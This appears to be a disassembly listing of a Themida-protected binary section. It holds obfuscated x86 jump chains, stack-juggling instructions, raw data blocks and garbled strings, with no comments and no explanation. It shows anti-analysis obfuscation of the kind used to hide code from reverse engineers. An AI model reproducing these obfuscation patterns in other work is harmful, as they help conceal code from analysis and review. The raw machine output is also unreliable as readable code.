		dd 810F0150h, 3A3FEBEBh, 75BB536Ch, 0E97FE350h,	2A97h
		dd 59CB895Dh, 64D0BA52h, 0DEE926A9h, 5000017h, 4B12D22Ch
		dd 0FF87A3E9h, 81DE87FFh, 3502C7E6h, 0B002E92Bh, 0C481FFFFh
		dd 4, 9AAEE951h, 2C89FFFFh, 2474FF24h, 75E95D04h, 2900001Dh
		dd 515D5BD8h, 0C1815954h, 4, 0ECAE9h, 2CB76800h, 46E90000h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC93:				; CODE XREF: Themida_:005543F9j
		push	36865BA8h
		pop	eax
		xor	eax, 236F34A8h
		jmp	loc_55DCE3
; ---------------------------------------------------------------------------
		db 0F7h
aWU		db 'ÕW¿u',0
		db 8Dh,	47h, 0E9h
		dd 0FFFF9952h
; ---------------------------------------------------------------------------


loc_55ACB0:				; CODE XREF: Themida_:00556CCEj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	esi, [esp]
		jmp	loc_5521B8
; ---------------------------------------------------------------------------
		dd 9BE935B5h, 68FFFF98h, 7FAh, 89242C89h, 4C581E5h, 0E9000000h
		dd 0FFFFD06Dh, 6602EC83h, 0E9240C89h, 0FFFF7DCAh, 405h
		dd 4E88300h, 0E9240433h, 0FFFFD0E8h, 0EEE9CF01h, 54000025h
		dd 0F3E9555Eh, 58000023h, 4244401h, 360DB850h, 8DE90C66h
		dd 5AFFFFC2h, 0C181E1D1h, 9009AE23h, 0FF7A0DE9h, 24248BFFh
		dd 24048B66h, 1EE95456h, 2DFFFFCEh, 3E8634Bh, 0C104E8C1h
		dd 2D4005E0h, 0F904D97h, 2B89BF57h, 0DFF71EB8h,	735FCF81h
		dd 0CF814408h, 5DDC1CC5h, 0FF81FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AD61:				; CODE XREF: Themida_:0055B9C5j
		sub	ebx, edi
		jmp	loc_557AB7
; ---------------------------------------------------------------------------
		dd 4BAh, 8BD60100h, 0C4832414h,	4EE8104h, 33000000h, 34312434h
		dd 24343324h, 242C895Ch, 4BDh, 0E9EE2900h, 0FFFFD21Fh
		dd 9C241CF6h, 0D46E9h, 0C1835E00h, 0BBC6E904h, 8F5FFFFFh
		dd 248B2404h, 0E1F76624h, 0FF9433E9h, 0E4EA81FFh, 81CE3A1Ch
		dd 1704FDC7h, 81D70118h, 1704FDEFh, 51565A18h, 0FFCDF2E9h
		dd 0B60F66FFh, 80BE902h, 0E9510000h, 2481h, 0A4E9C188h
		dd 81FFFFA5h, 0F63349C9h, 0F67E921h, 0FF660000h, 66022474h
		dd 48F665Ah, 0D2F76624h, 0FFE9A7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AE05:				; CODE XREF: Themida_:005562B6j
		or	ebp, 444765DFh
		xor	ebp, 7DBA47B1h
		jmp	loc_556C4C
; ---------------------------------------------------------------------------


loc_55AE16:				; CODE XREF: Themida_:0055302Dj
		pop	eax
		push	1B9Ah
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_55D145
; ---------------------------------------------------------------------------
		db 68h
		dd 1F6Fh, 173CE9h, 0FEE18600h, 0A49EE9CCh, 0B60FFFFFh
		dd 148B66C0h, 25126824h, 3C890000h, 4EC8124h, 54000000h
		dd 8124048Fh, 42404h, 3C8B0000h, 4C48124h, 0E9000000h
		dd 0FFFFE523h, 0E9E68956h, 0FFFFC0CCh, 3006B353h, 0DEF65BDEh
		dd 28B7F680h, 24148BF0h, 4C481h, 41040000h, 0FFD747E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AE8D:				; CODE XREF: Themida_:0055744Bj
		and	ebp, 3E21199Dh
		add	ebp, 643029BBh
		and	ebp, 1936AA8h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0A4A74E0h
		and	eax, 7C9070B9h
		jmp	loc_55A8DB
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FBC58166h, 0EB296656h, 0C329665Dh, 0FF883AE9h, 4C483FFh
		dd 4BF57h, 0FA010000h, 2414875Fh, 2B7BE9h, 1BE95300h, 68000025h
		dd 753Ah, 0B8240489h, 33820829h, 0E905E0C1h, 0FFFFCA40h
; ---------------------------------------------------------------------------


loc_55AEF8:				; CODE XREF: Themida_:0055B618j
		and	ecx, 58BC6286h
		sub	ecx, 3D73853h
		not	ecx
		xor	ecx, 0EBD315C8h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5542A3
; ---------------------------------------------------------------------------


loc_55AF1A:				; CODE XREF: Themida_:00556BCAj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55913B
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 0E904EF83h, 0FFFFA175h, 561BC3B9h, 0FFC18179h, 57FFFFFFh
		dd 561BC0BFh, 15C18179h, 293BCA4Ch, 15E981F9h, 5F3BCA4Ch
		dd 34FFCB01h, 0E9565924h, 2718h, 145765B9h, 0CF9EE953h
		dd 888FFFFh, 8324048Bh,	148B04C4h, 6B94E924h, 0F581FFFFh
		dd 418B5EBFh, 215CE9h, 2FF4B800h, 0F0BF6868h, 3168682Fh
		dd 6CE958C7h, 81FFFF72h, 4C5h, 0C46FE900h, 835EFFFFh, 0C68104C4h
		dd 4, 0FFC0F4E9h, 89665CFFh, 5AE92404h,	4AFFFF68h, 69B3CA81h
		dd 0C2815EFFh, 5F2C12BDh, 7348C281h, 0EE8120D4h, 48BC35BFh
		dd 0BD55D601h, 48BC35BFh, 0FF5DEE01h, 575A2434h, 61E9E789h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFEB:				; CODE XREF: Themida_:00552EECj
		mov	eax, 8741D7Ah
		add	eax, 2DBA20EDh
		jmp	loc_55B31C
; ---------------------------------------------------------------------------


loc_55AFFA:				; CODE XREF: Themida_:0055B026j
		mov	edx, 0A2A29ECBh
		sub	ecx, 3098716Bh
		add	ecx, edx
		jmp	loc_554E01
; ---------------------------------------------------------------------------
		dd 4BD55h, 6EE90000h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B017:				; CODE XREF: Themida_:0055D3B8j
		mov	ecx, [esp]
		jmp	loc_556680
; ---------------------------------------------------------------------------


loc_55B01F:				; CODE XREF: Themida_:00558C4Fj
		or	ecx, 591D0039h
		push	edx
		jmp	loc_55AFFA
; ---------------------------------------------------------------------------
		db 54h
		dd 8324048Fh, 0E9042404h, 0FFFFFEEDh
; ---------------------------------------------------------------------------


loc_55B038:				; CODE XREF: Themida_:00557E99j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_559E75
; ---------------------------------------------------------------------------
		dw 5E5Fh
		dd 8B242C87h, 14892424h, 0FB6EBA24h, 5E052481h,	2D29BF02h
		dd 608345F0h, 0F005D001h, 2D608345h, 29BF025Eh,	0E92434FFh
		dd 29FAh, 81243C8Bh, 4C4h, 4C78100h, 83000000h,	38E904C7h
		dd 56FFFF6Eh, 8FE9E689h, 0BDFFFF96h, 4,	0FF7B4AE9h, 81E289FFh
		dd 4C2h, 4C28300h, 5C241487h, 0F000D804h, 0FFAFEFE9h, 0E95749FFh
		dd 0FFFFEB1Eh, 5B64C681h, 0E95D207Bh, 0FFFFA829h, 81E18951h
		dd 4C1h, 4BF5700h, 53000000h, 0DE1571BBh, 0C60EE965h, 1489FFFFh
		dd 76B35324h, 0DE3057B6h, 0E9241C8Bh, 0FFFF8B08h, 8159CD89h
		dd 4FF451C5h, 5DEE01C5h, 2C681h, 34870000h, 24248B24h
		dd 24148B66h, 4EC81h, 0C890000h, 0E9595424h, 0FFFFBAFCh
		dd 5116CC80h, 0FF889CE9h, 81E389FFh, 4C3h, 4C38100h, 53000000h
		dd 42474FFh, 0FFB013E9h, 4EF83FFh, 0E9243C87h, 0FFFF73E8h
		dd 0CFE90DB6h, 53FFFF98h, 21B16850h, 0F4E919E6h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B15F:				; CODE XREF: Themida_:005569C5j
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	ebx, 5203D20h
		push	eax
		mov	eax, 169D56E8h
		xchg	eax, ebp
		jmp	loc_557F01
; ---------------------------------------------------------------------------
		dd 8105E2C1h, 32182FC2h, 29EA8112h, 896D359Dh, 0EB815AD3h
		dd 332A40A0h, 7582EB81h, 0C38162A9h, 3CDE06F1h,	9A28C381h
		dd 40E9793Fh, 1FFFFF7h,	0C7C781D7h, 5A4E9C4Eh, 8B243C87h
		dd 0C8852424h, 664BE99Ch, 5A54FFFFh, 4C281h, 0E9510000h
		dd 2B28h, 0CBC4E95Eh, 348BFFFFh, 0E0895024h, 405h, 4C08300h
		dd 5C240487h, 4EC81h, 1C890000h, 349DBB24h, 0C3813EADh
		dd 1, 0A7E9D3F7h, 28FFFFAFh, 2BE95AF3h,	52FFFFD0h, 2E27B951h
		dd 0CA892931h, 0FFAD6DE9h, 243C33FFh, 33243C31h, 0A5E9243Ch
		dd 0FEFFFFF6h, 65EE9C5h, 0C00B0000h, 8E94840Fh,	77FFFFFFh
		dd 2434FF1Ch, 81240C8Bh, 4C4h, 4EC8300h, 54241C89h, 4C3815Bh
		dd 0E9000000h, 0FFFF7A84h, 2BEA815Eh, 0E96B5176h, 0FFFFB025h
		dd 582434FFh, 9EDDE956h, 2489FFFFh, 0E85CE924h,	0FF51FFFFh
		dd 59042474h, 8B24048Fh, 86E92424h, 66FFFF65h, 52240C8Bh
		dd 0BB535A54h, 4, 835BDA01h, 348904ECh,	54F06824h, 0F75E23B7h
		dd 0F861E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B2B2:				; CODE XREF: Themida_:0055BA8Fj
		xor	[esp+4], ebp
		pop	ebp
		pop	esi
		jmp	loc_55CE98
; ---------------------------------------------------------------------------
		db 68h,	4Bh, 60h
		dd 10E978D4h, 28FFFF96h, 6630E9E8h
		db 2 dup(0FFh),	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_551997
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 81D5F708h, 0AB0E46F5h, 5DE801BFh, 0C214092Dh, 0E9F80104h
		dd 0ADAh, 5210CFBEh, 0FFEE8309h, 4C5CE81h, 0C681089Fh
		dd 0F620EB2Fh, 0E95EF201h, 0FFFFA193h
; ---------------------------------------------------------------------------


loc_55B31C:				; CODE XREF: Themida_:0055AFF5j
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		inc	edi
		push	edi
		dec	dword ptr [esp]
		pop	edi
		xor	edi, 79B75412h
		shl	edi, 7
		jmp	loc_553542
; ---------------------------------------------------------------------------
		dd 4247401h, 0E924348Bh, 0FFFFAC7Eh
; ---------------------------------------------------------------------------


loc_55B344:				; CODE XREF: Themida_:00554EA7j
		push	ebx
		mov	ebx, 239A0E3Dh
		sub	ebx, 12BD9C5Bh
		xor	edx, ebx
		jmp	loc_55BBB9
; ---------------------------------------------------------------------------
		db 0B8h
		dd 609437D0h, 0FF6A5BE9h, 0C8B66FFh, 4EC8324h, 68243489h
		dd 4D29h, 52242489h, 4BAh, 24540100h, 2434FF04h, 4C4835Ah
		dd 5E2434FFh, 0FF9D92E9h, 19E950FFh
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B393:				; CODE XREF: Themida_:00552261j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557022
; ---------------------------------------------------------------------------
		db 0E9h, 6Fh, 64h
		dd 248BFFFFh, 7E9C124h,	81E68956h, 4C6h, 4EE8300h, 5C243487h
		dd 83240C89h, 1C8904ECh, 24348124h, 333E74E0h, 8B2434FFh
		dd 0C481240Ch, 4, 0E9E18951h, 12D3h, 200936BDh,	0E0C58106h
		dd 45027F45h, 4F16B951h, 0AFE9089Fh, 89FFFFC5h,	74015BDEh
		dd 5D5E0424h, 0FFFB92E9h, 2E6C1FFh, 0C681DEF7h,	0B3D95C38h
		dd 4BE9F021h, 0FFFFFFC4h, 5D042474h, 8B24048Fh,	89662424h
		dd 0DBE92404h, 83FFFFCBh, 348704EEh, 950FE924h,	0EC83FFFFh
		dd 240C8904h, 4B9h, 59CB2900h, 2474FF53h, 5EE95B04h, 0F600000Ah
		dd 80C4FED4h, 36E93CECh, 81000015h, 4ECh, 242C8900h, 14976853h
		dd 1C8B6ECFh, 4C48124h,	0E9000000h, 0FFFFD83Bh,	9D1C77FFh
		dd 0D3665966h, 0E99C2414h, 0FFFF9204h
; ---------------------------------------------------------------------------


loc_55B488:				; CODE XREF: Themida_:005543A8j
		sub	ecx, 0E54300Ah
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_556189
; ---------------------------------------------------------------------------
		db 31h
		dd 34332434h, 9665C24h,	0E99C2404h, 0FFFF636Dh,	4C3B050h
		dd 58C300F1h, 8069B151h, 0D1F634C1h, 0F611E980h, 80D9F6D9h
		dd 0CB001FC1h, 0E9525159h, 0FFFFD6D2h, 9C2404FEh, 2606E9h
		dd 59CE2900h, 0C681C601h, 70033F9Fh, 0FFD8C1E9h, 48B66FFh
		dd 12685624h, 0E9000015h, 0FFFFCDECh, 88D3EE80h, 0C3305AF0h
		dd 1957E9h, 24048F00h, 8924248Bh, 6E92404h, 68FFFF63h
		dd 5Bh,	0FFF751E9h, 89665CFFh, 76E92404h, 4FFFF75h, 0C8A8E9ACh
		dd 0E6E9FFFFh, 31FFFF62h, 685258C3h, 23E8h, 0BB241C89h
		dd 26E77B17h, 40BF39BAh, 5BDA2955h, 0A3F281h, 814A29FDh
		dd 3B706CF2h, 5AD301ACh, 0FF8C2CE9h, 81C201FFh,	4ECh, 24348900h
		dd 7D684FBEh, 0E956572Ah, 0FFFFD755h
; ---------------------------------------------------------------------------


loc_55B574:				; CODE XREF: Themida_:00557129j
		xor	[edi+24h], edx
		inc	edx
		jmp	loc_5533BB
; ---------------------------------------------------------------------------
		db 47h,	0E9h, 88h
		dd 0ADFFFFC0h, 21B1BB53h, 0D80119E6h, 0FF9B63E9h, 247C01FFh
		dd 0E95E5F04h, 0FFFFEB12h, 4C481h, 89560000h, 0E8BF57E6h
		dd 0C15EB45Ah, 0C78105EFh, 5D574DF3h, 3DD6CF81h, 0CF8107E3h
		dd 6FF35D7Bh, 0DBCF781h, 0C7816C3Ch, 0FC3C0FC1h, 0FF7E5EE9h
		dd 0F00166FFh, 59665E66h, 360A6866h, 240C8966h,	24CCE9h
		dd 18B66800h, 23E90000h, 8900001Eh, 0E2892414h,	8D53E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B5FA:				; CODE XREF: Themida_:00557E02j
		sub	al, 55h
		add	al, ch
		add	al, 55h
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 3C88654Fh
		shr	ecx, 1
		jmp	loc_55AEF8
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 1000000h, 0C78359CFh, 243C8704h, 2354E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B631:				; CODE XREF: Themida_:0055BACDj
		pop	ecx
		push	795h
		mov	[esp], esi
		jmp	loc_55A0EE
; ---------------------------------------------------------------------------
		db 81h
		dd 905C1h, 0FE8BE929h, 815BFFFFh, 1719B8E7h, 721CE91Bh
		dd 0C483FFFFh, 24048704h, 5724248Bh, 0FFBB5EE9h, 5AD729FFh
		dd 0FFCD3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B66D:				; CODE XREF: Themida_:0055C75Cj
		sub	eax, 461B0EE7h
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		jmp	loc_552923
; ---------------------------------------------------------------------------


loc_55B682:				; CODE XREF: Themida_:0055CBECj
		push	esp
		jmp	loc_5546D8
; ---------------------------------------------------------------------------
		dd 83243C89h, 248904ECh, 24048324h, 0BD555F04h,	4, 535DEF01h
		dd 2BBh, 0E9C78100h, 140DA04h, 0E9EF81DFh, 8B40DA04h, 0C483241Ch
		dd 74FF5704h, 8F5F0424h, 248B2404h, 243CD324h, 1400E99Ch
		dd 0E5B40000h, 5866E128h, 0E962E980h, 0FFFF70ADh
; ---------------------------------------------------------------------------


loc_55B6DC:				; CODE XREF: Themida_:00551F8Aj
		add	ebp, 4
		jmp	loc_557FDC
; ---------------------------------------------------------------------------
		dd 0E681DEF7h, 5DAE66CEh, 0DB80C681h, 8D2DF7F9h, 141395Ch
		dd 5C8D05F0h, 515E4139h, 0FF8260E9h, 0B4E95AFFh, 66000016h
		dd 8124048Bh, 4ECh, 243C8900h, 243C8B54h, 0E904C483h, 0FFFFC8D1h
		dd 4BFh, 0E1EA8100h, 15DDA23h, 0BE8AE9FAh, 0E680FFFFh
		dd 4E6C064h, 4FCEE80h, 66F00053h, 2853B753h, 5A5B66F8h
		dd 0FEE9D828h, 89FFFFE2h, 0ADE92424h, 58FFFF75h, 405h
		dd 2C08300h, 0E9240487h, 18A0h,	4EC81h,	1C890000h, 0E9E38924h
		dd 53h
; ---------------------------------------------------------------------------


loc_55B77C:				; CODE XREF: Themida_:0055D87Bj
		push	45F5h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_559A98
; ---------------------------------------------------------------------------
		db 59h
		dd 5C241C87h, 0FF8873E9h, 59C801FFh, 0E4E95251h, 8B000001h
		dd 0EC812404h, 4, 0FF8C7EE9h, 24248BFFh, 0FFA113E9h, 0A9F6BDFFh
		dd 0A6E9BD3Eh, 81FFFF84h, 4C3h,	4B95100h, 0E9000000h, 1F15h
		dd 3DE868h, 24348900h, 433768h,	0A7AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B7F2:				; CODE XREF: Themida_:005562DFj
		add	ecx, edx
		add	ecx, 4DCD6CC2h
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		jmp	loc_5584C2
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8704EDh, 4895C24h,	5E08924h, 4, 205h, 0F371E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B822:				; CODE XREF: Themida_:00553796j
		push	2166h
		mov	[esp], edx
		jmp	loc_557D3D
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0D768D831h, 89000012h, 0E589242Ch, 4C581h, 0BA520000h
		dd 4, 0E94ED81h, 0D5291EDFh, 0E94C581h,	875A1EDFh, 895C242Ch
		dd 5ABF243Ch, 313C133Ch, 2434FFF8h, 0B887E95Fh,	7428FFFFh
		dd 5A660224h, 80241428h, 8A092404h, 0C4832414h,	0E4E95002h
		dd 8BFFFF84h, 0F9682404h, 0E9000075h, 24CDh, 0C006EDC0h
		dd 0DDF605E5h, 0FFA0BBE9h, 4E9C1FFh, 0FFB0EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B8A9:				; CODE XREF: Themida_:0055BCF5j
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_555795
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 431665Ch,	52E99C24h, 31FFFF5Fh, 0BA5258C7h
		dd 5F147458h, 2CAC281h,	0D721ACF8h, 0D668E95Ah,	0BD55FFFFh
		dd 4, 4246C81h,	492939h, 0FF9321E9h, 0E9E789FFh, 0FFFFFEECh
; ---------------------------------------------------------------------------


loc_55B8F4:				; CODE XREF: Themida_:0055C3D3j
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_55AA08
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 6CE0E900h, 0C89FFFFh, 0F8885024h, 0F658C588h
		dd 59EF88D5h, 0E7C0DFF6h, 3AB25203h, 0B050EAD0h, 0E9630CC6h
		dd 460h, 8159CF01h, 4EFh, 74FF5700h, 3C8B0424h,	4C48124h
		dd 8F000000h, 895C2404h, 0E6892434h, 4C681h, 0BCE90000h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B957:				; CODE XREF: Themida_:005582F8j
		sub	ebx, 3824034Ch
		add	ebx, 2B3D6551h
		sub	ebx, 61DE35BBh
		sub	ebx, 4CA39A0h
		add	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5599FD
; ---------------------------------------------------------------------------
		dw 875Fh
		dd 1FE9240Ch, 0BA000006h, 46831725h, 15AD189h, 0E890E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B9A2:				; CODE XREF: Themida_:005578CAj
		xor	eax, 405C285h
		add	ebx, eax
		pop	eax
		add	ebx, 6FF65D94h
		sub	ebx, eax
		push	edi
		mov	edi, 6EE372C5h
		dec	edi
		sub	edi, 3E9F6512h
		add	edi, 3FB24FE2h
		jmp	loc_55AD61
; ---------------------------------------------------------------------------
		dw 405h
		dd 55000000h, 0F17E9h, 0E9F10100h, 0FFFF657Ch
; ---------------------------------------------------------------------------


loc_55B9DC:				; CODE XREF: Themida_:0055BF44j
		not	ebp
		push	edx
		mov	edx, 7195094Dh
		dec	edx
		shr	edx, 4
		push	ebx
		mov	ebx, 7AAF5FE7h
		sub	edx, ebx
		jmp	loc_5584F2
; ---------------------------------------------------------------------------


loc_55B9F5:				; CODE XREF: Themida_:00559EF2j
		xor	ecx, 16B958h
		add	edx, ecx
		pop	ecx
		jmp	loc_5557B4
; ---------------------------------------------------------------------------
aRuILdPeavs	db 'RU½i',27h,'LdºpeAVéß',9,0
		align 4
aThT		db '[',9,'ÂÑâh¼T',0
		align 2
		dw 0C89h
		dd 24B924h, 0E9810000h,	138047A6h, 503DBF57h, 0F9297CE0h
		dd 81F9015Fh, 0E0503DC1h, 0D091E97Ch, 6AB0FFFFh, 0FF77D2E9h
		dd 0D2F75FFFh, 8103E2C1h, 5FB6D5C2h, 0E9D63158h, 1799h
; ---------------------------------------------------------------------------


loc_55BA5C:				; CODE XREF: Themida_:00559E86j
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_55CD3A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 0E9595451h, 0FFFF9A72h, 68DBE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA82:				; CODE XREF: Themida_:005540BEj
		neg	eax
		jmp	loc_551AA8
; ---------------------------------------------------------------------------


loc_55BA89:				; CODE XREF: Themida_:005588B4j
		push	ebp
		mov	ebp, 377E0CDDh
		jmp	loc_55B2B2
; ---------------------------------------------------------------------------
		dd 3059CA30h, 2434FFFAh, 4C4835Bh, 148BD030h, 4C48324h
		dd 6F68C330h, 89000022h, 0FCBD242Ch, 52000003h,	2858B951h
		dd 0CBE930B7h, 66FFFF88h, 0E9240C8Bh, 0FFFF9176h
; ---------------------------------------------------------------------------


loc_55BACC:				; CODE XREF: Themida_:0055857Bj
		pop	ebx
		jmp	loc_55B631
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C2h, 24148700h, 1E9505Ch, 0E9FFFFC5h, 0FFFF5D2Dh, 0E924248Bh
		dd 219Dh, 6204E800h, 592434FFh,	93E95455h, 81FFFF7Ah, 0C94AEAEBh
		dd 81D3016Fh, 0C94AEAC3h, 0E9EB816Fh, 5A7B1748h, 0FFAB6FE9h
		dd 243C89FFh, 7933BD55h, 0D5F73661h, 59E94545h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB2B:				; CODE XREF: Themida_:00554E56j
		push	ebp
		jmp	loc_555CF0
; ---------------------------------------------------------------------------
aZ4Ts		db '‡4$\',9,'ÂÑâé',0
		db 6Bh
		dd 0C381FFFFh, 16CE6693h, 50F3814Bh, 2113FED5h,	0ACE95BDFh
		dd 83000005h, 0C8704E9h, 1AE95C24h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB5F:				; CODE XREF: Themida_:0055803Cj
		sub	dh, 0DFh
		jmp	loc_558ABE
; ---------------------------------------------------------------------------
		db 4Dh
		dd 6067C581h, 0ED8166F3h, 208918E5h, 0B92DB850h, 0C501BC02h
		dd 7785E958h, 0C483FFFFh, 0E71EE904h, 815EFFFFh, 4ECh
		dd 24048900h, 0FFD469E9h, 80C6FEFFh, 0EE8022C6h, 5AF30048h
		dd 28B1EB80h, 0E95150C3h, 0FFFFF114h, 5C240C87h, 0FFFACFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BBB9:				; CODE XREF: Themida_:0055B352j
		pop	ebx
		mov	ecx, edx
		pop	edx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_559712
; ---------------------------------------------------------------------------


loc_55BBD5:				; CODE XREF: Themida_:00557D69j
		and	edx, 0D9F2318h
		inc	edx
		xor	edx, 9102000h
		mov	esi, edx
		jmp	loc_5547C1
; ---------------------------------------------------------------------------
		db 1, 0D5h, 81h
		dd 6668F3EDh, 0F6ED812Fh, 812BB865h, 0C921B2C5h, 2434FF37h
		dd 8124148Bh, 4C4h, 4C48100h, 0E9000000h, 0FFFFF8FBh, 81E38953h
		dd 4C3h, 4C38300h, 0E9241C87h, 0FFFF9EB3h
; ---------------------------------------------------------------------------


loc_55BC28:				; CODE XREF: Themida_:0055292Bj
		add	ecx, 23D95D60h
		jmp	loc_55690D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68300h, 0FF5BFEE9h, 0DBE95AFFh, 81FFFF9Ah, 4515A4EAh
		dd 9294E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC52:				; CODE XREF: Themida_:00551EBEj
		add	esp, 4


loc_55BC58:				; CODE XREF: Themida_:005562F1j
		push	ebx
		xor	dword ptr [esp], 6D22611Eh
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5557AC
; ---------------------------------------------------------------------------
		dd 0E9C8B70Fh, 0FFFFB800h
; ---------------------------------------------------------------------------


loc_55BC74:				; CODE XREF: Themida_:0055A3A0j
		xor	esi, 19589310h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ebp
		push	esi
		jmp	loc_55D32A
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 74F9EA81h, 0C2012F0Fh, 0C6BB5351h, 81092827h, 0CE09CDC3h
		dd 1EB811Dh, 0C1000000h, 0C38307E3h, 92C38101h,	89B10746h
		dd 9522E9D9h, 0E589FFFFh, 4C581h, 0AE90000h, 43FFFF61h
		dd 0F6ACC381h, 0BB53B4CDh, 3F1935E3h, 0FF67BFE9h, 242C87FFh
		dd 1040E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BCF2:				; CODE XREF: Themida_:005567FBj
		xchg	edx, [esp]
		jmp	loc_55B8A9
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 242C8B24h, 11EAE9h, 80C22800h, 48B56C2h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0E9F6F280h, 0FFFFD990h
		dd 0D965E954h, 0BB53FFFFh, 4B320955h, 0FFFF9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BD39:				; CODE XREF: Themida_:0055C959j
		add	edi, 32CDC490h
		or	ecx, edi
		pop	edi
		jmp	loc_556C95
; ---------------------------------------------------------------------------
		db 56h
		dd 0D825E957h, 0E681FFFFh, 0D035812h, 0FF9237E9h, 7E9C1FFh
		dd 0FFEE6FE9h, 5AD701FFh, 8B243C87h, 0C3812424h, 4, 0FFB344E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BD75:				; CODE XREF: Themida_:00553C62j
		pop	esp
		jmp	loc_551815
; ---------------------------------------------------------------------------
		db 68h
		dd 65E9h, 83242489h, 0E9042404h, 1815h,	0BD04A70Ch, 8058C208h
		dd 0E28016CAh, 69EA8050h, 0D2F6CAFEh, 23E9D2F6h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDA7:				; CODE XREF: Themida_:0055632Bj
		or	eax, eax
		jz	loc_555A01
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	697Ch
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_554704
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 49123B01h, 3CEA68h, 7C44E900h, 905FFFFh, 2D04C214h
		dd 403534CFh, 5F2434FFh, 0FFB93EE9h, 24048BFFh,	81E28952h
		dd 4C2h, 9FB1E900h, 0C483FFFFh,	4C48304h, 3118E8C1h, 4EC81C8h
		dd 89000000h, 8B522404h, 0C4832404h, 2434FF04h,	4C4815Ah
		dd 52000000h, 0E9240C87h, 0FFFF64ADh, 551C77FFh, 6B2E80BDh
		dd 246C015Fh, 0FBE95D04h, 0FFFFFF8Dh, 68592434h, 2478h
		dd 54241489h, 8324148Bh, 0B5E904C4h, 5CFFFFF1h,	1DC6E9h
		dd 75326800h, 2C890000h, 815D5424h, 4C5h, 789B6800h, 0D9E90000h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE77:				; CODE XREF: Themida_:0055A953j
		add	ebp, 4
		push	edi
		push	edx
		push	3AA76DFEh
		jmp	loc_552266
; ---------------------------------------------------------------------------
